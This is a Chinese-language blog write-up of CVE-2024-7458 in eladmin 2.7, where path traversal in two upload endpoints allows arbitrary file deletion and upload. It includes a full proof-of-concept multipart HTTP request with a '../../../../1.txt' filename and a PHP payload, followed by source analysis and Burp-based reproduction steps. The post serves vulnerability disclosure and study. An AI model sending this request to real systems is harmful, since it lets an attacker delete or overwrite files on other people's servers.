首页 > 其他分享 >eladmin (文件上传+文件删除)(cve-2024-7458)

eladmin (文件上传+文件删除)(cve-2024-7458)

时间:2024-09-01 08:56:53浏览次数:10  
标签:文件 name form 7458 eladmin Content WebKitFormBoundarytxmNwmDQk3BFqZIU ------ data

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

简介

版本

2.7

poc

下面两个接口都可以文件上传和删除并且接口的文件上传和文件删除的poc是一样的,后面分析为什么
/api/database/upload

POST /api/database/upload HTTP/1.1
Host: localhost:8000
Content-Length: 1157
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytxmNwmDQk3BFqZIU
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJhMGU1MGZmN2U3YzI0MzRmOTRiYmJmMGFhMDcyMDg2NCIsInVzZXIiOiJhZG1pbiIsInN1YiI6ImFkbWluIn0.91B6e2KdQ9Lyhy_LMsMHf1imNvoYknAJy1Ew3mhgwHBAvLzaW89lRcWCMVCAYlljPjufXeXymhwSrRb9x6-obA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Origin: http://localhost:8013
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8013/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="createBy"

admin
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="createTime"

time
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="id"

71c07316ccc44a948db1d587caa9e805
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="jdbcUrl"

jdbc:mysql://
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="name"

ab
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="pwd"

root
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="updateBy"

admin
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="updateTime"

time
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="userName"

root
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="file"; filename="../../../../1.txt"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundarytxmNwmDQk3BFqZIU--

这个就不写了
/api/deploy/upload

分析

通过过搜索关键字upload找到接口/api/database/upload的源码
image

其中fileName参数是输入进来的文件名,后续和fileSavePath直接进行拼接。
image

其中fileSavePath是系统的临时文件目录
image

往后红框中的两句话及漏洞所在
FileUtil.del(executeFile);删除executeFile文件
file.transferTo(executeFile);上传executeFile文件
所以会先删除和上传文件名相同的文件,然后在创建一个相同的

通过过搜索关键字upload也可以找到接口/api/deploy/upload的源码
该接口漏洞成因也是和上面接口一样,就不做分析了
image

复现

/api/database/upload只复现这个接口的
1、找到漏洞位置,新建一个数据库,数据库随便填,密码和账号要正确。
image

2、选中数据库,点击执行脚本,然后上传图片或其他文件。记得用bp抓包之后好修改,如果发送到重放器token会失效上传不成功。其中表示token的参数是请求行中的Authorization参数。
image

3、修改数据包
image

4、首先看文件删除的效果
image

image

5、之后文件上传的效果
image

/api/deploy/upload第二个接口的上传位置
image

总结

我认为位置还是比较新奇的,不过值得注意的是系统文件模块中的接口文档中有很多接口可以利用。
文件操作函数del()、transferto()

参考

编号参考
https://github.com/elunez/eladmin/issues/851
项目地址
https://gitee.com/elunez/eladmin


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。

标签:文件,name,form,7458,eladmin,Content,WebKitFormBoundarytxmNwmDQk3BFqZIU,------,data
From: https://www.cnblogs.com/0kooo-yz/p/18390990

相关文章

  • Android 读取 XML 文件之 SAX 解析编码模板
    一、SAX解析概述SAX(SimpleAPIforXML)是一种基于事件的XML解析技术,它一边读取XML文件一边解析,占用内存少,适用于大型文件SAX解析器会触发一系列事件,例如,开始解析元素、结束解析元素、遇到字符数据等,我们只需要实现对应的事件处理器来处理这些事件即可二、SAX......
  • linux文件——文件系统——学习、理解、应用软硬件链接
        前言:本篇内容主要讲解文件系统的软硬件链接。经过前两篇文件系统的文章——讲解硬件(磁盘)、讲解文件系统底层,inode,我们本节内容可以很好的理解我们要讲解的内容。并且本节内容较少,友友们学习本节的时候将会比前几节相对轻松一些。     ps:友友们务......
  • 【Android】根据URI获取文件扩展名或MimeType
    关于安卓中的URI安卓中的URI包含多种格式,可以是文件,可以是媒体库资源,可以是Resource也可以是网络地址,或其它资源标识这里我们主要针对文件来源的URI安卓中通过URI访问文件主要包括三种方式文件路径媒体库资源(背后仍然是文件,但无法直接访问)Resource资源对于这三种不同......
  • spark的SparkSubmit类关于Configuration的资源文件加载
    在阅读 SparkSubmit 源代码时,重点关注 Configuration 的资源文件的加载情况,默认通过 newConfiguration() 构造方法创建时,只会加载 core-default.xml 和core-site.xml文件,但是 SparkSubmit 中打印 Configuration 时,发现还会加载 yarn-site.xml,SparkSubmit 代码中没有......
  • c# 笔记 winform添加右键菜单,获取文件大小 ,多条件排序OrderBy、ThenBy,list<double>截取
    Winform右键菜单‌要在C#Winform应用程序中添加右键菜单,‌你可以按照以下步骤操作:‌1.‌创建菜单项‌在Form的构造函数或加载事件中,‌创建ContextMenuStrip控件的实例,‌并为其添加菜单项。‌2.‌绑定到控件‌将ContextMenuStrip控件绑定到需要显示右键菜单的控件上,‌......
  • 文件包含漏洞
    开发人员通常会把可重复使用的函数写到单个文件中,在使用到某些函数时,可直接调用此文件,而无须再次编写,这种调用文件的过程被称为包含注意:对于开发人员来讲,文件包含很有用,可以简化代码文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校验被绕过,......
  • spark的SparkSubmit类关于Configuration的资源文件加载
    在阅读 SparkSubmit 源代码时,重点关注 Configuration 的资源文件的加载情况,默认通过 newConfiguration() 构造方法创建时,只会加载 core-default.xml 和core-site.xml文件,但是 SparkSubmit 中打印 Configuration 时,发现还会加载 yarn-site.xml,SparkSubmit 代码中没......
  • 文件上传漏洞
    文件上传漏洞的基本原理1:什么是文件上传漏洞:文件上传漏洞指的是,攻击者通过上传功能,将精心构造的恶意文件上传到服务器。由于服务器对上传的文件缺乏适当的验证和过滤,恶意文件得以在服务器上执行或被服务器误认为是合法文件,导致一系列安全问题。2:文件上传漏洞的攻击方式:文件上......
  • HidLampArray.dll文件丢失导致程序无法运行问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个HidLampArray.dll文件(挑选合适的版本文件)......
  • hgsclientplugin.dll文件丢失导致程序无法运行问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个hgsclientplugin.dll文件(挑选合适的版本文......